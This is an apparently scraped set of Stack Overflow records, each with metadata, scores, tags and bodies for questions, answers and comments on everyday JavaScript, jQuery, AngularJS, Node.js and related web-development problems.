tags question: http://stackoverflow.com/q/25762189
tags question: http://stackoverflow.com/q/25812613

http://stackoverflow.com/a/25807142
score: 0
has body: As a beginner in web development you could have a good look at this free video tutorial about web forms. http://webdesign.tutsplus.com/courses/web-form-design-and-development After having gone through that you should know exactly what to do and will be well equipped for any form related questions in the future.
answers question: http://stackoverflow.com/q/25806841
type: Answer

http://stackoverflow.com/a/25813769
accepted answer of: http://stackoverflow.com/q/25810051
has comment: http://stackoverflow.com/comment/79625132
has comment: http://stackoverflow.com/comment/66277957
has comment: http://stackoverflow.com/comment/40383247
score: 94
has comment: http://stackoverflow.com/comment/111297566
has comment: http://stackoverflow.com/comment/65958397
has body: Your application is failing for big files because you're reading the full file into memory before processing it. This inefficiency can be solved by streaming the file (reading chunks of a small size), so you only need to hold a part of the file in memory. A File objects is also an instance of a Blob, which offers the .slice method to create a smaller view of the file. Here is an example that assumes that the input is ASCII (demo: http://jsfiddle.net/mw99v8d4/). function findColumnLength(file, callback) { // 1 KB at a time, because we expect that the column will probably small. var CHUNK_SIZE = 1024; var offset = 0; var fr = new FileReader(); fr.onload = function() { var view = new Uint8Array(fr.result); for (var i = 0; i &lt; view.length; ++i) { if (view[i] === 10 || view[i] === 13) { // \n = 10 and \r = 13 // column length = offset + position of \r or \n callback(offset + i); return; } } // \r or \n not found, continue seeking. offset += CHUNK_SIZE; seek(); }; fr.onerror = function() { // Cannot read file... Do something, e.g. assume column size = 0. callback(0); }; seek(); function seek() { if (offset &gt;= file.size) { // No \r or \n found. The column size is equal to the full // file size callback(file.size); return; } var slice = file.slice(offset, offset + CHUNK_SIZE); fr.readAsArrayBuffer(slice); } } The previous snippet counts the number of bytes before a line break. Counting the number of characters in a text consisting of multibyte characters is slightly more difficult, because you have to account for the possibility that the last byte in the chunk could be a part of a multibyte character.
type: AcceptedAnswer
upvote count: 94
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25810051

http://stackoverflow.com/comment/40235568
comment on: http://stackoverflow.com/a/25734307
score: 0
type: AnswerComment
has text: Still, you've wrong point. remove `it caches it so that it doesn't have to download it later.` and then it will be fine...
type: Comment

http://stackoverflow.com/a/25716595
accepted answer of: http://stackoverflow.com/q/25716574
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25716574
has body: The problem with this is that the Parse user object is only modifiable by the current user. You can get around this by creating a Cloud Code function, which modifies the money value for the intended user. Note, the cloud code function must call Parse.Cloud.useMasterKey(); Source CloudCode Function: Parse.Cloud.define("setMoney", function(request, response) { Parse.Cloud.useMasterKey(); var query = new Parse.Query(Parse.User); query.equalTo("objectId", request.params.userId); query.first({ success: function (result) { console.log(result.id); result.set('money', 20); result.save(); response.success(); }, error: function (error) { console.log("None found."); response.error(error); } }); }); JavaScript Call Parse.Cloud.run("setMoney", {userId: userInput}, { success: function(result) { // Success }, error: function(error) { // Error } });
downvote count: 0
has comment: http://stackoverflow.com/comment/40230476
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/comment/40385635
score: 0
type: AnswerComment
has text: Actually after changing a ton I can't get that to work outside of jsfiddle at all 0.-
comment on: http://stackoverflow.com/a/25812318
type: Comment

http://stackoverflow.com/comment/40371747
has text: The view above uses ng-src and ng-click directives. The data is coming from Firebase.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25799708

http://stackoverflow.com/q/25826152
has body: I have a page involving 3 sections, for e.g. top, middle and bottom. Each of the sections are of fixed height. Lets say in this case 600px; Within the middle section, I have some content that exceeds the stated 600px height. For e.g. 1200px of content. Creating an overflow, an inner scroll bar in the middle section. My question is: How can I implement a jQuery solution that will provide the following scenario. User scrolls down past the top section to the middle section, the main scroll then snaps/switches to the middle - inner content with the overflow with 1200px height. Once they have scrolled down to the end of the content, they leave the middle section and the scroll snaps/switches back to the end section. Can you provide a solution? Thanks in advance
downvote count: 0
has comment: http://stackoverflow.com/comment/40403750
score: 1
tagged with: scroll
has answer: http://stackoverflow.com/a/25826921
accepted answer: http://stackoverflow.com/a/25826921
type: Question
tagged with: javascript
has title: Scrolling and snapping to inner elements using jQuery
upvote count: 1
answer count: 1
tagged with: jquery
favorite count: 0
tagged with: vertical-scrolling
type: AnsweredQuestion

http://stackoverflow.com/a/25839978
has comment: http://stackoverflow.com/comment/40429590
type: Answer
has comment: http://stackoverflow.com/comment/40428798
has comment: http://stackoverflow.com/comment/40428773
answers question: http://stackoverflow.com/q/25839897
upvote count: 3
has comment: http://stackoverflow.com/comment/40428935
score: 3
downvote count: 0
has body: Given the Json object above, I'd try: array.forEach(function (val) { val.data = val.data.map(function (datum) { return [ new Date(datum[0] * 1000), datum[1] ]; } } Unless I'm reading it wrong (I'm assuming data[0] is the UTC value). (Edited based on feedback below, thanks all!)

http://stackoverflow.com/comment/108340723
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/37889601
has text: Thanks! This also works on video tags: ` `. This will then allow to call `toDataURL` on the video frames.

http://stackoverflow.com/a/25790831
score: 2
has comment: http://stackoverflow.com/comment/40337782
accepted answer of: http://stackoverflow.com/q/25790501
answers question: http://stackoverflow.com/q/25790501
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40338229
type: Answer
has body: Remove the $() from around this.checked jsFiddle if(this.checked){ If you wanted it to be a jQuery object then it would look like this if($(this).is(':checked')){

http://stackoverflow.com/comment/40305436
has text: @JuanMendes ...which is exactly what it say right after the code :p
type: Comment
comment on: http://stackoverflow.com/a/25772680
score: 1
type: AnswerComment

http://stackoverflow.com/q/25829154
tagged with: jquery
has comment: http://stackoverflow.com/comment/40420993
score: 0
has title: Restricted jQuery in knockoutjs.afterRender when using koExternalTemplateEngine_all
linked to: http://stackoverflow.com/q/8773824
type: UnansweredQuestion
answer count: 0
tagged with: knockout.js
type: Question
has comment: http://stackoverflow.com/comment/40413979
has body: My simplified sample is made specially to face the issue I'm talking about. I have very simple html: &lt;div id="container"&gt; &lt;!-- ko template: { name: 'templateFromServer', afterRender: afterRender } --&gt; &lt;!-- /ko --&gt; &lt;/div&gt; function afterRender() { // breakpoint is HERE! $("&lt;input/&gt;").autocomplete(); }; var model = {}; ko.applyBindings(model, $('#container')[0]); All js libraries references are specified before the code. The templateFromServer template is taken from server (not local html) by using of koExternalTemplateEngine_all plugin (which uses also infuser and TrafficCop). The template itself can be anything, even an empty string. After the template has been rendered the afterRender is called back, and inside it I want to use autocomplete plugin to update an input field inside template. But for this case even no real input field is needed, just let's create it in memory. When rendering, the breakpoint inside afterRender function is hit twice: first, when temporary message "Loading..." is shown, and second, when all template elements have successfully been loaded from server. Now the point. For some reason, in the second round the "$" object doesnt have autocomplete extension. Even worse: sometimes it does, other times it does not. Looks like this is different "$" than the main one. I killed 2 hours to catch this issue. The only idea that seemes to work is placing var MyJQuery = $; in the main code and then using MyJQuery insode afterRender to access autocomplete plugin. Any explanations and workarounds are welcome, thanks.
tagged with: javascript

http://stackoverflow.com/a/25811274
type: AcceptedAnswer
downvote count: 0
score: 1
has body: To use any of the meta-characters ( such as !"#$%&amp;'()*+,./:;&lt;=>?@[]^`{|}~ ) as a literal part of a name, it must be escaped with with two backslashes: \ . or use attribute-value selector like this: $('[id="' + $(this).val()+'"]').show(); Working Demo
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25811252
accepted answer of: http://stackoverflow.com/q/25811252

http://stackoverflow.com/comment/40483577
type: QuestionComment
comment on: http://stackoverflow.com/q/25870528
has text: Please post the code you are having trouble with
score: 0
type: Comment

http://stackoverflow.com/comment/40356114
comment on: http://stackoverflow.com/q/25800250
score: 0
type: Comment
type: QuestionComment
has text: where are you doing this: "scope["finish_form"]["pagename[0]"].$setValidity('not-duplicated', false);"? Are you doing that inside the link function of a custom validation directive?

http://stackoverflow.com/q/25767925
has title: Textbox to display function JavaScript
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25768100
score: -1
type: Question
downvote count: 2
has answer: http://stackoverflow.com/a/25768100
upvote count: 1
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40296643
has comment: http://stackoverflow.com/comment/40296296
has body: I'm having an issue with my first project for the semester. Using JavaScript I'm supposed to create a magic 8 ball simulator. The simulator needs a button that that says "shake it" which, when clicked, displays a random saying from my GetSaying() function in a read only textbox. This is where I get a little lost. How do I go about specifying a textbox I would like the saying to be displayed in? Magic 8 Ball! Shake it!
has comment: http://stackoverflow.com/comment/40296444
favorite count: 0

http://stackoverflow.com/q/25727883
has title: Jquery-te how to stop javascript execution?
score: 1
has comment: http://stackoverflow.com/comment/40258023
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25760448
upvote count: 1
answer count: 1
downvote count: 0
tagged with: jquery
has body: An application that I support uses jquery-te: http://jqueryte.com/demos. When I insert into the html editor javascript code (like alert("Hello!")), it immediately executed. How can I disable its execution during editing html-text?
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40256417
has comment: http://stackoverflow.com/comment/40256045
has comment: http://stackoverflow.com/comment/40223118

http://stackoverflow.com/comment/40318569
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25779871
has text: Change `class"close_tag"` to `class="close_tag"` .you forgot `=` to assign class
score: 0

http://stackoverflow.com/a/25748331
answers question: http://stackoverflow.com/q/25748171
has body: The most efficient way would be to use the global listeners of JQuery, so something like: $("body").on("change", "[data-behavior^=result_selection_]", {}, handler) This is in JS, I am not familiar with Coffeescript to write the above code in that. More documentation : http://api.jquery.com/on/
score: 0
has comment: http://stackoverflow.com/comment/40281715
has comment: http://stackoverflow.com/comment/40279515
type: Answer
has comment: http://stackoverflow.com/comment/40281292

http://stackoverflow.com/q/25797871
has comment: http://stackoverflow.com/comment/40353151
tagged with: angularfire
tagged with: angularjs
score: 0
accepted answer: http://stackoverflow.com/a/25799738
answer count: 1
has title: How can I total values from an object in an array using firebase and angularfire?
tagged with: firebase
has body: Update for a better question: I was able to get the factory running properly and have it total a number out of the loop. Now I'm having trouble getting that number to show up in the view and having that number show up every time a new item is added/removed/updated in the list. The "ListWithTotal" factory works exactly like in the documentation. I wasn't properly setting the ref variable. Here's the latest relevant code: //controller $scope.total = TodoService.getTotalPoints(); //service var todos = $firebase(ref, {arrayFactory: "ListWithTotal"}).$asArray(); return { getTotalPoints:function(){ todos.$loaded().then(function() { total = todos.getTotal(); console.log(total); return total; }); }, I can't get this to return total to the view or update when the points value change. Can anyone please provide some direction?
type: AnsweredQuestion
tagged with: javascript
has answer: http://stackoverflow.com/a/25799738
type: Question

http://stackoverflow.com/q/25748851
has comment: http://stackoverflow.com/comment/40261742
downvote count: 0
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25748981
tagged with: jquery
has answer: http://stackoverflow.com/a/25748986
has answer: http://stackoverflow.com/a/25748981
favorite count: 0
has comment: http://stackoverflow.com/comment/40261775
has answer: http://stackoverflow.com/a/25749171
has comment: http://stackoverflow.com/comment/40261714
answer count: 5
has comment: http://stackoverflow.com/comment/40261736
has body: I'm writing a little code to check if a person have 18 years or is older given her/his birthday. This is what I have done til now: function validateAge(birthday, minage, separator) { if (!parseInt(minage)) { return false; } var $split = birthday.split(separator); var $dateFullYear = $split[2]; var $dateMonth = $split[1]; var $dateDay = $split[0]; var $tempDate = new Date($dateFullYear + minage, $dateMonth, $dateDay); if ($tempDate &lt;= new Date()) { return true; } else { return false; } return false; } But I give always a valid response when for example if I call the function with this parameters: validateAge('09/09/2014', 18, '/') it should return false since it's today. I'm making a mistake somewhere but I don't see it, can any help me?
has answer: http://stackoverflow.com/a/25749116
has comment: http://stackoverflow.com/comment/40261772
has answer: http://stackoverflow.com/a/25748976
upvote count: 2
has comment: http://stackoverflow.com/comment/40261795
has comment: http://stackoverflow.com/comment/40261649
has comment: http://stackoverflow.com/comment/40261850
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25748976
has comment: http://stackoverflow.com/comment/40261911
type: Question
has title: Validates if a person is older than 18 or have 18 based on birthday
has comment: http://stackoverflow.com/comment/40261699

http://stackoverflow.com/comment/49081276
type: AnswerComment
has text: I am still getting the issue, I have a view and a viewModel in my small application. I tried putting schema for view model and then separately I tried putting a store for the view model...It didnt work... I am using Extjs5.0.1 . I am tryin myself to debug. I'll update if I get the ans. Till then please some1 can shed some more light on why this error occurs
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25780257

http://stackoverflow.com/comment/40355103
has text: Rather, **NO** minifier would rename properties. If it did, everything would break horribly. Minifiers rename only variables (including function parameters and function names (actual function names in the case of `function NAME () { }`, not the properties/keys under which the function may be held in an object).
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25799198

http://stackoverflow.com/comment/40262696
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25747642
type: Comment
has text: can i use the `<%=index%>` instead of static number like 1,2,3. May be the dynamic data may varied than this is became an issue right?

http://stackoverflow.com/comment/40212924
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25722660
has text: Do you see a valid response when you go to http://api.visiothink.com/v1/query/categories?key=XXX or does your console say that `data.all.length` is undefined?

http://stackoverflow.com/comment/40468091
type: Comment
has text: But I should override all of elements position that I applied overlay.
comment on: http://stackoverflow.com/a/25861797
score: 0
type: AnswerComment

http://stackoverflow.com/a/25739214
has comment: http://stackoverflow.com/comment/40245232
has comment: http://stackoverflow.com/comment/40244875
downvote count: 1
has body: Jquery is probobly the framwork you are looking for. it handels http requests along with DOM manipulation and lots of other stuff. check it out: http://api.jquery.com/ what you want to do could be done with jQuery simply like this: jQuery.post("http://localhost/comment_upvote" ,{cid:%cid,bpid:%bpid} ); assuming the server prints correctly %cid and %bpid in th JavaScript code. dont forget adding the jquery library in to your html :)
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/40247105
answers question: http://stackoverflow.com/q/25739003
type: Answer

http://stackoverflow.com/comment/40252879
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25743676
has text: http://wordpress.org/support/topic/an-error-occurred-in-the-upload-please-try-again-later-2 This might help you.

http://stackoverflow.com/comment/40368781
comment on: http://stackoverflow.com/q/25807225
score: 0
type: Comment
type: QuestionComment
has text: Just try to give `blinkImages()` a parameter and you'll see how the nesting trivially decreases…

http://stackoverflow.com/comment/40357660
has text: ...well actualy, in JavaScript (as well as PHP) arrays and objects are implemented much the same way via an Ordered HashMap (or ordered Dictionary) meaning both arrays as well as objects are ordered if iterated upon with `for (a in b)`. Indeed if iterated upon with `for (var i=0; i<x.length; i++)` then you (not the language) would be retrieving items in a particular order.
type: Comment
comment on: http://stackoverflow.com/a/25801188
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40418671
type: AnswerComment
has text: Ah, now I understand your question... [Function is actually a predefined constructor function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function), not a predefined object. You can call `new Function()` similarly to how you can call `new Point()` and `new Object()`
type: Comment
comment on: http://stackoverflow.com/a/25834687
score: 0

http://stackoverflow.com/comment/40360744
type: Comment
type: QuestionComment
has text: @const_ref At the end of the day, it might be possible to implement video streaming with WebSockets, but you would end implementing a new codec, which is useless, this is my point. It might be easier that you connect your cam to a multimedia server (Windows Media Server in Windows Server?) and stream video to a HTML5 video tag.
score: 0
comment on: http://stackoverflow.com/q/25802301

http://stackoverflow.com/q/25834893
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25835843
has comment: http://stackoverflow.com/comment/40418616
upvote count: 1
type: Question
tagged with: javascript
answer count: 2
has comment: http://stackoverflow.com/comment/40418615
has answer: http://stackoverflow.com/a/25835843
score: -5
has answer: http://stackoverflow.com/a/25835875
tagged with: string
favorite count: 0
has body: Reading some text file by fs of node.js/Windows results awkward data that contains invisible characters. String.length indicates the data contains many redundant invisible characters. Trying to trim by js String.trim does not work well, so I try to remove them using String.replace with regex. So, here's my question. what is the regex to trim other than A-Z a-z 0-9 and symbols? Space should be preserved (not the target to trim). Thanks.
possible better answer: http://stackoverflow.com/a/25835875
tagged with: regex
has title: JavaScript: what is the regex to trim other than A-Z a-z 0-9 and symbols?
tagged with: node.js
downvote count: 6

http://stackoverflow.com/comment/40365884
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25804745
has text: Are you using the javascript language-bindings or something else?

http://stackoverflow.com/comment/99671694
type: AnswerComment
comment on: http://stackoverflow.com/a/34783008
type: Comment
score: 1
has text: To format ` var CurrentDateUnixTimestamp = moment().unix(); moment.unix(CurrentDateUnixTimestamp).format("YYYY-MM-DD HH:mm");`

http://stackoverflow.com/q/25722705
has comment: http://stackoverflow.com/comment/40213080
upvote count: 3
has answer: http://stackoverflow.com/a/25723396
tagged with: node.js
has body: Let's say you want to compare two javascript objects or arrays for reference equality. The most obvious solution would be if (a === b) { /*...*/ }; The problem with this is that a and b would have to hold the references to actual objects. This can be a problem in same cases. For example, trying to hold actual references in a memoization function would create a memory leak. One approach is to use JSON.stringify(a) to obtain string representations of objects and compare that. But that can be prohibitively expensive in some use cases. Not to mention that actual reference equality isn't taken into consideration. That got me wondering. Is there a way to stringify an actual reference instead of the object contents? Obviously, you can't manipulate pointers in javascript, but what if you could get just a pointer representation of some kind. A hash sum? Raw memory location? Guid or integer representation? I know there are some kinds of object id-s when analyzing memory dump in chrome dev tools. Maybe these things can be accessed during runtime? Using some kind of special switch in node.js? Can anyone think of a way to get this done in javascript?
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/40213695
linked to: http://stackoverflow.com/q/105034
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/25723396
has comment: http://stackoverflow.com/comment/40213003
downvote count: 0
has comment: http://stackoverflow.com/comment/40212955
tagged with: javascript
favorite count: 0
has title: Is it possible to convert javascript reference to a number or hash sum?
possible better answer: http://stackoverflow.com/a/25723313
has answer: http://stackoverflow.com/a/25723313
has comment: http://stackoverflow.com/comment/40213840

http://stackoverflow.com/comment/40458616
score: 2
type: Comment
type: QuestionComment
has text: `alert($(this).height());` - `this` itself has no `height()` method - you need it in a jQuery object.
comment on: http://stackoverflow.com/q/25856632

http://stackoverflow.com/comment/40487295
comment on: http://stackoverflow.com/q/25871908
type: QuestionComment
has text: Are you editing your sheet manually or only using the other script you mentioned?
type: Comment
score: 0

http://stackoverflow.com/q/25747532
has comment: http://stackoverflow.com/comment/40259226
has comment: http://stackoverflow.com/comment/40259196
accepted answer: http://stackoverflow.com/a/25747579
type: AnsweredQuestion
has body: Hi all my code works great when tested one by one but when i insert them all together if the first IF statement is reached it will return true and submit the form without validating the others.. can someone tell me how to change my code around so it will run all the IF statements before it returns true. Here is my code if (this.element.find('#visitdate').length &gt; 0) { var dateParts = $('#tvisitdate').val().split('/'); var check = new Date(dateParts[2], dateParts[1]-1, dateParts[0], 0,0,0,0); var d = new Date(); var today = new Date(d.getFullYear(), d.getMonth(), d.getDate()); if (today.getTime() &gt; check.getTime() ) { _errMsg = "Please enter a future visit date"; return false; } else { return true; } } if (this.element.find('#birthdate').length &gt; 0) { var dateParts1 = $('#birthdate').val().split('/'); var check1 = new Date(dateParts1[2], dateParts1[1]-1, dateParts1[0], 0,0,0,0).getFullYear(); var today1 = new Date(); var year = today1.getFullYear(); if (check1 &gt;= year) { _errMsg = "Please enter a valid date of birthday"; return false; } else { return true; } }
downvote count: 1
has comment: http://stackoverflow.com/comment/40259170
type: Question
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25747763
answer count: 2
has answer: http://stackoverflow.com/a/25747579
upvote count: 0
possible better answer: http://stackoverflow.com/a/25747763
favorite count: 0
has title: if statements returning true and not going over all of my if statements - javascript

http://stackoverflow.com/comment/40286814
type: AnswerComment
comment on: http://stackoverflow.com/a/25754274
has text: Not really. It is an answer to the question "What did I wrong?"
type: Comment
score: 0

http://stackoverflow.com/comment/40333084
comment on: http://stackoverflow.com/q/25787867
score: 0
type: Comment
type: QuestionComment
has text: I don't know where the visitors of your website live, but I assume more people are blocking Google Analytics than Yandex

http://stackoverflow.com/q/25735558
tagged with: javascript
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/16677528
has title: ngRoute fails to load view defined by $routeProvider
tagged with: ngroute
has comment: http://stackoverflow.com/comment/40238994
tagged with: angularjs
tagged with: angularjs-ng-route
has body: I have just begun trying to integrate ngRoute into an application I am building, but am having trouble getting ngRoute to work. I have created a simple app to describe my attempt. index.html: ngRoute Test Here is a link to switch views: Test app.js var app = angular.module('tester', ['ngRoute']).config(function($routeProvider) { $routeProvider .when('/tests', { templateUrl: 'tests.html', controller: 'TestCtrl' }); }); app.controller('TestCtrl', ['$scope', function($scope){ $scope.title = "This is a Test Page"; }]); tests.html {{ title }} Here is a plunkr that shows my attempt: http://plnkr.co/edit/ntgV5xFTl46tBugEnCVe?p=preview. Any help on this issue would be much appreciated!
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25735603
type: Question
has answer: http://stackoverflow.com/a/25735603

http://stackoverflow.com/comment/40274113
type: Comment
comment on: http://stackoverflow.com/q/25755308
score: 1
has text: I don't think the fiddle is working? Or atleast not on mac chrome/ff.
type: QuestionComment

http://stackoverflow.com/comment/103150467
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25806609
has text: `document.onmouseleave` does not work in FireFox (ver 69. but did in Safari and Chrome). Nor does `document.addEventListener('mouseleave', ....`. Instead I opted for `document.getElementsByTagName('body')[0].addEventListener('mouseleave', ...` Not as pretty yet does the trick.
type: Comment

http://stackoverflow.com/q/25740109
tagged with: node.js
has body: This is a scenario I have and cannot find a clear answer how to avoid observeChanges firing multiple times. I have this code listening to a player's command, and fire an event to trigger AI to simulate a move: // Client-side Deps.autorun(function() { var query = Games.find({ "playerOne": "PlayerOne", "playerTwo": "Computer" }); var handle = query.observeChanges({ changed: function (id, fields) { // AI makes a move if (fields.playerTurn == "ComputerTurn" &amp;&amp; fields.lastplay) // lastplay is a timestamp after player has played a turn Meteor.call("playComputerTurn", id); } }); }); //Server-side Meteor.methods({ 'playComputerTurn': function(id) { // long code to simulate a computer turn } }); With a single Meteor process, the event only fires once, but running multiple processes, I don't seem to have an option to let observeChanges ignore the events IF a process has already fired once. EDIT to be more clear, the events will need to re-run in case of server restarts and during the server heavy calculation player should not be "halted". Do I need to wrap the Server-side event with a Fiber in queue, or perhaps I have missed something simple here, could someone please help or suggest? P.S. If simply placing observeChanges in Server-side, the observe will only run once.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40266528
type: Question
score: 0
answer count: 1
tagged with: javascript
tagged with: meteor
has title: How to avoid obserseChanges firing more than once with multiple Meteor processes
has comment: http://stackoverflow.com/comment/40261894
has answer: http://stackoverflow.com/a/25752299

http://stackoverflow.com/comment/40260282
type: Comment
has text: Yes. If you want to learn more about event handling, I recommend to read http://www.quirksmode.org/js/introevents.html.
type: AnswerComment
comment on: http://stackoverflow.com/a/25747154
score: 0

http://stackoverflow.com/a/25776316
has comment: http://stackoverflow.com/comment/123129536
upvote count: 37
answers question: http://stackoverflow.com/q/25775862
type: Answer
has comment: http://stackoverflow.com/comment/84640379
has comment: http://stackoverflow.com/comment/88572683
has body: I have two ideas that could help you but the first one is tied to CORS, so you won't be able to use it from different domains at least you can access both services and configure them. FIRST IDEA: The first one is related to this native api. You could create on the parent window a global function like this: window.callback = function (result) { //Code } As you can see it receives a result argument which can hold the boolean value you need. The you could open the popup using the same old window.open(url) function. The popup's onlick event handler could look like this: function() { //Do whatever you want. window.opener.callback(true); //or false } SECOND IDEA: Solves the problem The other idea I got is to use this other native api to trigger an event on the parent window when the popup resolves (better known as cross-document messaging). So you could do this from the parent window: window.onmessage = function (e) { if (e.data) { //Code for true } else { //Code for false } }; By this way you are listening to any posted message on this window, and checking if the data attached to the message is true (the user clicks ok in the popup) or false (the user clicks cancel in the popup). In the popup you should post a message to the parent window attaching a true or a false value when corresponds: window.opener.postMessage(true, '*'); //or false I think that this solution perfectly fits your needs. EDIT I have wrote that the second solution was also tied to CORS but digging deeper I realized that cross-document messaging isn't tied to CORS
downvote count: 0
has comment: http://stackoverflow.com/comment/40460861
has comment: http://stackoverflow.com/comment/40383418
score: 37
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25775862

http://stackoverflow.com/comment/40238503
score: 0
type: Comment
type: QuestionComment
has text: Leaving it at 1000 milliseconds ended up having the timer lag behind the server time, I assume due to processing on the local machine. The php inserts a value of 0 - 3600. Like I said, it works great in Chrome, it appears to behave as though it is a value of zero all of the time in Firefox.
comment on: http://stackoverflow.com/q/25735990

http://stackoverflow.com/a/25730789
downvote count: 0
score: 4
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25730040
answers question: http://stackoverflow.com/q/25730040
upvote count: 4
has body: My guess is that you're behind some network proxy or firewall that restricts the ports you can access. In this case, you can tell git to use https:// instead of git:// for cloning. Answer is based off of this question. git config --global url.https://github.com/.insteadOf git://github.com/

http://stackoverflow.com/a/25738358
has comment: http://stackoverflow.com/comment/40249042
has comment: http://stackoverflow.com/comment/40249249
has comment: http://stackoverflow.com/comment/40250353
score: 1
has body: It's a little hard to see what you want to happen after 3 clicks, do you want to trigger triple clicks for each of them or not. I created a version that you might want to look at: http://jsbin.com/dutilojujowa/5/edit The ideas are: Save all the click counter data into the data attribute instead of relying on scope - I find that easier. Throttle your reset counter, otherwise multiple clicks can be handled very strangely Throttle your action counter, or you might get multiple actions accidentally! Make sure you set $elem.data('clicks') to 1 at some point, or it won't work.
accepted answer of: http://stackoverflow.com/q/25737958
upvote count: 1
has comment: http://stackoverflow.com/comment/40249514
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25737958
has comment: http://stackoverflow.com/comment/40242912
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/40242811

http://stackoverflow.com/comment/55289403
has text: isn't this DOM manipulation? ie, what you're not supposed to be doing with Angular?
type: AnswerComment
comment on: http://stackoverflow.com/a/31044415
type: Comment
score: 1

http://stackoverflow.com/q/25788386
tagged with: jquery-mobile
tagged with: javascript
tagged with: jquery
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25788974
has body: i am sorry to say that the code is too big so i have modified my previous question into the code . pardon me. this is the link for that how to start a countdown timer from 1 controller and displayed in the other-angularjs the timer in this code is started when the program starts, that too when we set a static value in second controller. can anyone suggest me how i can start the timer when the button in the first controller(readycntrl) is pressed and the value of the timer is dynamicaly taken from a php page(timer.ajax) and displayed in the second controller(questcntrl) in the timer tag. &lt;timer countdown="wow" interval="1000" finish-callback="askstart(current,total,inpu); startTimer();"&gt;{{countdown}}{{}}&lt;/timer&gt; please refer to the above link to see the question..
tagged with: timer
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40335786
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/25665117
has comment: http://stackoverflow.com/comment/40357701
has comment: http://stackoverflow.com/comment/40336069
has title: how to start a countdown timer from 1 controller and displayed in the other-angularjs
has comment: http://stackoverflow.com/comment/40335306
type: Question
has comment: http://stackoverflow.com/comment/40335768

http://stackoverflow.com/q/25750777
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25765921
has body: I am trying to run multiple js tests using mocha. I want to match on filenames using a regex, but according to the documentation you can only use a regex to match on describe blocks. All of my spec files are named *.spec.js, so I would assume I would be able to run just those files easily. Is there a way/plugin that I can match on the filenames that end in .spec.js?
accepted answer: http://stackoverflow.com/a/25765921
tagged with: javascript
tagged with: mocha.js
score: 4
upvote count: 4
answer count: 1
downvote count: 0
favorite count: 0
has title: How can I run mocha tests by using a regex for matching on file names?

http://stackoverflow.com/comment/40338463
has text: Do you have any message in the console (like html/test.html not found) ? Also can you try to remove and put your html in the root ? Last thing : route your redirect to something else that /test.
score: 0
comment on: http://stackoverflow.com/q/25790349
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40213870
score: 0
comment on: http://stackoverflow.com/q/25721390
has text: Wouldn't it be simpler to use [:has](http://api.jquery.com/has/) here? `$('.form-group:has(input:focus) .label')` - [example](http://jsfiddle.net/vmxxfrt2/)
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25727346
downvote count: 0
has comment: http://stackoverflow.com/comment/40222251
type: Answer
score: 4
has comment: http://stackoverflow.com/comment/40221663
has comment: http://stackoverflow.com/comment/40222461
answers question: http://stackoverflow.com/q/25727306
upvote count: 4
has body: The headers you are trying to set are response headers. They have to be provided, in the response, by the server you are making the request to. They have no place being set on the client. It would be pointless having a means to grant permissions if they could be granted by the site that wanted permission instead of the site that owned the data.

http://stackoverflow.com/a/25746073
score: 1
has body: Basically, the below, is done to avoid performing null checks in the calling method. This is done not only for array types but for all the object types to handle null/undefined returns. function(arg) { var res = []; // initialization of an object if (arg) { res = ['example']; } return res; } For example, when you call the above function, there is no possibility that the returned value would be null or undefined. This eliminates adding a if((var x = function(arg)) != null) check in the calling method. The closest Design pattern you can relate to is the Null Object pattern in java. http://www.tutorialspoint.com/design_pattern/null_object_pattern.htm
upvote count: 1
answers question: http://stackoverflow.com/q/25745375
has comment: http://stackoverflow.com/comment/40256582
has comment: http://stackoverflow.com/comment/40256550
has comment: http://stackoverflow.com/comment/40256634
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40457883
has text: Yeah, but that's what user2202257 posted… I'm confused.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25855513

http://stackoverflow.com/a/25857062
upvote count: 5
has body: Regular expressions in most languages require a delimiter to mark the beginning and ending. In Javascript this is the slash character, meaning the actual regular expression is between the slashes. After the last slash, you can put some flags influencing behaviour of the regexp engine, in your examples the i for case-insensitive matching, and the g for global matching. I would recommend reading this tutorial for a full introduction to these basics. The Javascript implementation is explained here including the mode flags.
type: Answer
downvote count: 0
score: 5
